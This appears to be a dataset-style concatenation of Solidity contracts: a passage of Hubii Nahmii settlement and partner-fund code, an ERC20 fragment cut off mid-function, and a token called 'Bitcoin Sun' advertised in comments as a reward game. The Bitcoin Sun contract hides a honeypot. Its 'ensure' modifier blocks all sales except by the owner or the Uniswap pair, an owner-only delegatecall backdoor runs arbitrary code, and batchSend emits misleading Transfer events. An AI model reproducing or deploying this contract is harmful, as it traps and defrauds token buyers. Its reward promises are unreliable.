require(success, "Some error message when require fails [PartnerFund.sol:805]");
// Add to active
partners[index].active.add(amount, currencyCt, currencyId);
partners[index].txHistory.addDeposit(amount, currencyCt, currencyId);
// Add to full deposit history
partners[index].fullBalanceHistory.push(
FullBalanceHistory(
partners[index].txHistory.depositsCount() - 1,
partners[index].active.get(currencyCt, currencyId),
block.number
)
);
// Emit event
emit ReceiveEvent(msg.sender, amount, currencyCt, currencyId);
}
/// @dev partnerIndex is 0-based
function _depositByIndices(uint256 partnerIndex, uint256 depositIndex)
private
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(depositIndex < partners[partnerIndex].fullBalanceHistory.length, "Some error message when require fails [PartnerFund.sol:830]");
FullBalanceHistory storage entry = partners[partnerIndex].fullBalanceHistory[depositIndex];
(,, currencyCt, currencyId) = partners[partnerIndex].txHistory.deposit(entry.listIndex);
balance = entry.balance;
blockNumber = entry.blockNumber;
}
/// @dev index is 0-based
function _depositsCountByIndex(uint256 index)
private
view
returns (uint256)
{
return partners[index].fullBalanceHistory.length;
}
/// @dev index is 0-based
function _activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
private
view
returns (int256)
{
return partners[index].active.get(currencyCt, currencyId);
}
/// @dev index is 0-based
function _stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
private
view
returns (int256)
{
return partners[index].staged.get(currencyCt, currencyId);
}
function _registerPartnerByNameHash(bytes32 nameHash, uint256 fee, address wallet,
bool partnerCanUpdate, bool operatorCanUpdate)
private
{
// Require that the name is not previously registered
require(0 == _indexByNameHash[nameHash], "Some error message when require fails [PartnerFund.sol:871]");
// Require possibility to update
require(partnerCanUpdate || operatorCanUpdate, "Some error message when require fails [PartnerFund.sol:874]");
// Add new partner
partners.length++;
// Reference by 1-based index
uint256 index = partners.length;
// Update partner map
partners[index - 1].nameHash = nameHash;
partners[index - 1].fee = fee;
partners[index - 1].wallet = wallet;
partners[index - 1].partnerCanUpdate = partnerCanUpdate;
partners[index - 1].operatorCanUpdate = operatorCanUpdate;
partners[index - 1].index = index;
// Update name hash to index map
_indexByNameHash[nameHash] = index;
// Update wallet to index map
_indexByWallet[wallet] = index;
}
/// @dev index is 0-based
function _setPartnerFeeByIndex(uint256 index, uint256 fee)
private
returns (uint256)
{
uint256 oldFee = partners[index].fee;
// If operator tries to change verify that operator has access
if (isOperator())
require(partners[index].operatorCanUpdate, "Some error message when require fails [PartnerFund.sol:906]");
else {
// Require that msg.sender is partner
require(msg.sender == partners[index].wallet, "Some error message when require fails [PartnerFund.sol:910]");
// If partner tries to change verify that partner has access
require(partners[index].partnerCanUpdate, "Some error message when require fails [PartnerFund.sol:913]");
}
// Update stored fee
partners[index].fee = fee;
return oldFee;
}
// @dev index is 0-based
function _setPartnerWalletByIndex(uint256 index, address newWallet)
private
returns (address)
{
address oldWallet = partners[index].wallet;
// If address has not been set operator is the only allowed to change it
if (oldWallet == address(0))
require(isOperator(), "Some error message when require fails [PartnerFund.sol:931]");
// Else if operator tries to change verify that operator has access
else if (isOperator())
require(partners[index].operatorCanUpdate, "Some error message when require fails [PartnerFund.sol:935]");
else {
// Require that msg.sender is partner
require(msg.sender == oldWallet, "Some error message when require fails [PartnerFund.sol:939]");
// If partner tries to change verify that partner has access
require(partners[index].partnerCanUpdate, "Some error message when require fails [PartnerFund.sol:942]");
// Require that new wallet is not zero-address if it can not be changed by operator
require(partners[index].operatorCanUpdate || newWallet != address(0), "Some error message when require fails [PartnerFund.sol:945]");
}
// Update stored wallet
partners[index].wallet = newWallet;
// Update address to tag map
if (oldWallet != address(0))
_indexByWallet[oldWallet] = 0;
if (newWallet != address(0))
_indexByWallet[newWallet] = index;
return oldWallet;
}
// @dev index is 0-based
function _partnerFeeByIndex(uint256 index)
private
view
returns (uint256)
{
return partners[index].fee;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title NahmiiTypesLib
* @dev Data types of general nahmii character
*/
library NahmiiTypesLib {
//
// Enums
// -----------------------------------------------------------------------------------------------------------------
enum ChallengePhase {Dispute, Closed}
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct OriginFigure {
uint256 originId;
MonetaryTypesLib.Figure figure;
}
struct IntendedConjugateCurrency {
MonetaryTypesLib.Currency intended;
MonetaryTypesLib.Currency conjugate;
}
struct SingleFigureTotalOriginFigures {
MonetaryTypesLib.Figure single;
OriginFigure[] total;
}
struct TotalOriginFigures {
OriginFigure[] total;
}
struct CurrentPreviousInt256 {
int256 current;
int256 previous;
}
struct SingleTotalInt256 {
int256 single;
int256 total;
}
struct IntendedConjugateCurrentPreviousInt256 {
CurrentPreviousInt256 intended;
CurrentPreviousInt256 conjugate;
}
struct IntendedConjugateSingleTotalInt256 {
SingleTotalInt256 intended;
SingleTotalInt256 conjugate;
}
struct WalletOperatorHashes {
bytes32 wallet;
bytes32 operator;
}
struct Signature {
bytes32 r;
bytes32 s;
uint8 v;
}
struct Seal {
bytes32 hash;
Signature signature;
}
struct WalletOperatorSeal {
Seal wallet;
Seal operator;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title DriipSettlementTypesLib
* @dev Types for driip settlements
*/
library DriipSettlementTypesLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
enum SettlementRole {Origin, Target}
struct SettlementParty {
uint256 nonce;
address wallet;
bool done;
uint256 doneBlockNumber;
}
struct Settlement {
string settledKind;
bytes32 settledHash;
SettlementParty origin;
SettlementParty target;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title DriipSettlementState
* @notice Where driip settlement state is managed
*/
contract DriipSettlementState is Ownable, Servable, CommunityVotable {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
//
// Constants
// -----------------------------------------------------------------------------------------------------------------
string constant public INIT_SETTLEMENT_ACTION = "init_settlement";
string constant public SET_SETTLEMENT_ROLE_DONE_ACTION = "set_settlement_role_done";
string constant public SET_MAX_NONCE_ACTION = "set_max_nonce";
string constant public SET_FEE_TOTAL_ACTION = "set_fee_total";
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
uint256 public maxDriipNonce;
DriipSettlementTypesLib.Settlement[] public settlements;
mapping(address => uint256[]) public walletSettlementIndices;
mapping(address => mapping(uint256 => uint256)) public walletNonceSettlementIndex;
mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce;
mapping(address => mapping(address => mapping(address => mapping(address => mapping(uint256 => MonetaryTypesLib.NoncedAmount))))) public totalFeesMap;
bool public upgradesFrozen;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event InitSettlementEvent(DriipSettlementTypesLib.Settlement settlement);
event CompleteSettlementPartyEvent(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole,
bool done, uint256 doneBlockNumber);
event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency,
uint256 maxNonce);
event SetMaxDriipNonceEvent(uint256 maxDriipNonce);
event UpdateMaxDriipNonceFromCommunityVoteEvent(uint256 maxDriipNonce);
event SetTotalFeeEvent(address wallet, Beneficiary beneficiary, address destination,
MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount totalFee);
event FreezeUpgradesEvent();
event UpgradeSettlementEvent(DriipSettlementTypesLib.Settlement settlement);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the count of settlements
function settlementsCount()
public
view
returns (uint256)
{
return settlements.length;
}
/// @notice Get the count of settlements for given wallet
/// @param wallet The address for which to return settlement count
/// @return count of settlements for the provided wallet
function settlementsCountByWallet(address wallet)
public
view
returns (uint256)
{
return walletSettlementIndices[wallet].length;
}
/// @notice Get settlement of given wallet and index
/// @param wallet The address for which to return settlement
/// @param index The wallet's settlement index
/// @return settlement for the provided wallet and index
function settlementByWalletAndIndex(address wallet, uint256 index)
public
view
returns (DriipSettlementTypesLib.Settlement memory)
{
require(walletSettlementIndices[wallet].length > index, "Index out of bounds [DriipSettlementState.sol:107]");
return settlements[walletSettlementIndices[wallet][index] - 1];
}
/// @notice Get settlement of given wallet and wallet nonce
/// @param wallet The address for which to return settlement
/// @param nonce The wallet's nonce
/// @return settlement for the provided wallet and index
function settlementByWalletAndNonce(address wallet, uint256 nonce)
public
view
returns (DriipSettlementTypesLib.Settlement memory)
{
require(0 != walletNonceSettlementIndex[wallet][nonce], "No settlement found for wallet and nonce [DriipSettlementState.sol:120]");
return settlements[walletNonceSettlementIndex[wallet][nonce] - 1];
}
/// @notice Initialize settlement, i.e. create one if no such settlement exists
/// for the double pair of wallets and nonces
/// @param settledKind The kind of driip of the settlement
/// @param settledHash The hash of driip of the settlement
/// @param originWallet The address of the origin wallet
/// @param originNonce The wallet nonce of the origin wallet
/// @param targetWallet The address of the target wallet
/// @param targetNonce The wallet nonce of the target wallet
function initSettlement(string memory settledKind, bytes32 settledHash, address originWallet,
uint256 originNonce, address targetWallet, uint256 targetNonce)
public
onlyEnabledServiceAction(INIT_SETTLEMENT_ACTION)
{
if (
0 == walletNonceSettlementIndex[originWallet][originNonce] &&
0 == walletNonceSettlementIndex[targetWallet][targetNonce]
) {
// Create new settlement
settlements.length++;
// Get the 0-based index
uint256 index = settlements.length - 1;
// Update settlement
settlements[index].settledKind = settledKind;
settlements[index].settledHash = settledHash;
settlements[index].origin.nonce = originNonce;
settlements[index].origin.wallet = originWallet;
settlements[index].target.nonce = targetNonce;
settlements[index].target.wallet = targetWallet;
// Emit event
emit InitSettlementEvent(settlements[index]);
// Store 1-based index value
index++;
walletSettlementIndices[originWallet].push(index);
walletSettlementIndices[targetWallet].push(index);
walletNonceSettlementIndex[originWallet][originNonce] = index;
walletNonceSettlementIndex[targetWallet][targetNonce] = index;
}
}
/// @notice Set the done of the given settlement role in the given settlement
/// @param wallet The address of the concerned wallet
/// @param nonce The nonce of the concerned wallet
/// @param settlementRole The settlement role
/// @param done The done flag
function completeSettlementParty(address wallet, uint256 nonce,
DriipSettlementTypesLib.SettlementRole settlementRole, bool done)
public
onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION)
{
// Get the 1-based index of the settlement
uint256 index = walletNonceSettlementIndex[wallet][nonce];
// Require the existence of settlement
require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:181]");
// Get the settlement party
DriipSettlementTypesLib.SettlementParty storage party =
DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ?
settlements[index - 1].origin :
settlements[index - 1].target;
// Update party done and done block number properties
party.done = done;
party.doneBlockNumber = done ? block.number : 0;
// Emit event
emit CompleteSettlementPartyEvent(wallet, nonce, settlementRole, done, party.doneBlockNumber);
}
/// @notice Gauge whether the settlement is done wrt the given wallet and nonce
/// @param wallet The address of the concerned wallet
/// @param nonce The nonce of the concerned wallet
/// @return True if settlement is done for role, else false
function isSettlementPartyDone(address wallet, uint256 nonce)
public
view
returns (bool)
{
// Get the 1-based index of the settlement
uint256 index = walletNonceSettlementIndex[wallet][nonce];
// Return false if settlement does not exist
if (0 == index)
return false;
// Return done
return (
wallet == settlements[index - 1].origin.wallet ?
settlements[index - 1].origin.done :
settlements[index - 1].target.done
);
}
/// @notice Gauge whether the settlement is done wrt the given wallet, nonce
/// and settlement role
/// @param wallet The address of the concerned wallet
/// @param nonce The nonce of the concerned wallet
/// @param settlementRole The settlement role
/// @return True if settlement is done for role, else false
function isSettlementPartyDone(address wallet, uint256 nonce,
DriipSettlementTypesLib.SettlementRole settlementRole)
public
view
returns (bool)
{
// Get the 1-based index of the settlement
uint256 index = walletNonceSettlementIndex[wallet][nonce];
// Return false if settlement does not exist
if (0 == index)
return false;
// Get the settlement party
DriipSettlementTypesLib.SettlementParty storage settlementParty =
DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ?
settlements[index - 1].origin : settlements[index - 1].target;
// Require that wallet is party of the right role
require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:246]");
// Return done
return settlementParty.done;
}
/// @notice Get the done block number of the settlement party with the given wallet and nonce
/// @param wallet The address of the concerned wallet
/// @param nonce The nonce of the concerned wallet
/// @return The done block number of the settlement wrt the given settlement role
function settlementPartyDoneBlockNumber(address wallet, uint256 nonce)
public
view
returns (uint256)
{
// Get the 1-based index of the settlement
uint256 index = walletNonceSettlementIndex[wallet][nonce];
// Require the existence of settlement
require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:265]");
// Return done block number
return (
wallet == settlements[index - 1].origin.wallet ?
settlements[index - 1].origin.doneBlockNumber :
settlements[index - 1].target.doneBlockNumber
);
}
/// @notice Get the done block number of the settlement party with the given wallet, nonce and settlement role
/// @param wallet The address of the concerned wallet
/// @param nonce The nonce of the concerned wallet
/// @param settlementRole The settlement role
/// @return The done block number of the settlement wrt the given settlement role
function settlementPartyDoneBlockNumber(address wallet, uint256 nonce,
DriipSettlementTypesLib.SettlementRole settlementRole)
public
view
returns (uint256)
{
// Get the 1-based index of the settlement
uint256 index = walletNonceSettlementIndex[wallet][nonce];
// Require the existence of settlement
require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:290]");
// Get the settlement party
DriipSettlementTypesLib.SettlementParty storage settlementParty =
DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ?
settlements[index - 1].origin : settlements[index - 1].target;
// Require that wallet is party of the right role
require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:298]");
// Return done block number
return settlementParty.doneBlockNumber;
}
/// @notice Set the max (driip) nonce
/// @param _maxDriipNonce The max nonce
function setMaxDriipNonce(uint256 _maxDriipNonce)
public
onlyEnabledServiceAction(SET_MAX_NONCE_ACTION)
{
maxDriipNonce = _maxDriipNonce;
// Emit event
emit SetMaxDriipNonceEvent(maxDriipNonce);
}
/// @notice Update the max driip nonce property from CommunityVote contract
function updateMaxDriipNonceFromCommunityVote()
public
{
uint256 _maxDriipNonce = communityVote.getMaxDriipNonce();
if (0 == _maxDriipNonce)
return;
maxDriipNonce = _maxDriipNonce;
// Emit event
emit UpdateMaxDriipNonceFromCommunityVoteEvent(maxDriipNonce);
}
/// @notice Get the max nonce of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The max nonce
function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency)
public
view
returns (uint256)
{
return walletCurrencyMaxNonce[wallet][currency.ct][currency.id];
}
/// @notice Set the max nonce of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @param maxNonce The max nonce
function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency,
uint256 maxNonce)
public
onlyEnabledServiceAction(SET_MAX_NONCE_ACTION)
{
// Update max nonce value
walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = maxNonce;
// Emit event
emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, maxNonce);
}
/// @notice Get the total fee payed by the given wallet to the given beneficiary and destination
/// in the given currency
/// @param wallet The address of the concerned wallet
/// @param beneficiary The concerned beneficiary
/// @param destination The concerned destination
/// @param currency The concerned currency
/// @return The total fee
function totalFee(address wallet, Beneficiary beneficiary, address destination,
MonetaryTypesLib.Currency memory currency)
public
view
returns (MonetaryTypesLib.NoncedAmount memory)
{
return totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id];
}
/// @notice Set the total fee payed by the given wallet to the given beneficiary and destination
/// in the given currency
/// @param wallet The address of the concerned wallet
/// @param beneficiary The concerned beneficiary
/// @param destination The concerned destination
/// @param _totalFee The total fee
function setTotalFee(address wallet, Beneficiary beneficiary, address destination,
MonetaryTypesLib.Currency memory currency, MonetaryTypesLib.NoncedAmount memory _totalFee)
public
onlyEnabledServiceAction(SET_FEE_TOTAL_ACTION)
{
// Update total fees value
totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id] = _totalFee;
// Emit event
emit SetTotalFeeEvent(wallet, beneficiary, destination, currency, _totalFee);
}
/// @notice Freeze all future settlement upgrades
/// @dev This operation can not be undone
function freezeUpgrades()
public
onlyDeployer
{
// Freeze upgrade
upgradesFrozen = true;
// Emit event
emit FreezeUpgradesEvent();
}
/// @notice Upgrade settlement from other driip settlement state instance
function upgradeSettlement(string memory settledKind, bytes32 settledHash,
address originWallet, uint256 originNonce, bool originDone, uint256 originDoneBlockNumber,
address targetWallet, uint256 targetNonce, bool targetDone, uint256 targetDoneBlockNumber)
public
onlyDeployer
{
// Require that upgrades have not been frozen
require(!upgradesFrozen, "Upgrades have been frozen [DriipSettlementState.sol:413]");
// Require that settlement has not been initialized/upgraded already
require(0 == walletNonceSettlementIndex[originWallet][originNonce], "Settlement exists for origin wallet and nonce [DriipSettlementState.sol:416]");
require(0 == walletNonceSettlementIndex[targetWallet][targetNonce], "Settlement exists for target wallet and nonce [DriipSettlementState.sol:417]");
// Create new settlement
settlements.length++;
// Get the 0-based index
uint256 index = settlements.length - 1;
// Update settlement
settlements[index].settledKind = settledKind;
settlements[index].settledHash = settledHash;
settlements[index].origin.nonce = originNonce;
settlements[index].origin.wallet = originWallet;
settlements[index].origin.done = originDone;
settlements[index].origin.doneBlockNumber = originDoneBlockNumber;
settlements[index].target.nonce = targetNonce;
settlements[index].target.wallet = targetWallet;
settlements[index].target.done = targetDone;
settlements[index].target.doneBlockNumber = targetDoneBlockNumber;
// Emit event
emit UpgradeSettlementEvent(settlements[index]);
// Store 1-based index value
index++;
walletSettlementIndices[originWallet].push(index);
walletSettlementIndices[targetWallet].push(index);
walletNonceSettlementIndex[originWallet][originNonce] = index;
walletNonceSettlementIndex[targetWallet][targetNonce] = index;
}
}
|
DC1
|
/**
* Bitcoin Sun
* The time of dawn is short, but dawn comes every day!
* We are the dawn of encrypted digital currency
*/
/**
* Bitcoin Sun is an encrypted digital game token with a survival time of only 24 hours. After 24 hours, holders will receive high rewards.
* Bitcoin Sun's initial total is only 2100
* The reward for the Bitcoin Sun digital token game may reach 20 ETH
*/
/**
* There are 10 lucky winners in this round of rewards, each rewarded 0.5ETH
* The first place will receive a 10%+50% liquidity prize pool
* From 2nd to 10th, 10ETH will be divided equally
*/
/**
* All rewards will be issued within 24 hours after the game ends.
* The reward is to distribute ETH directly and distribute according to the address holding BTCSUN.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BitcoinSun {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
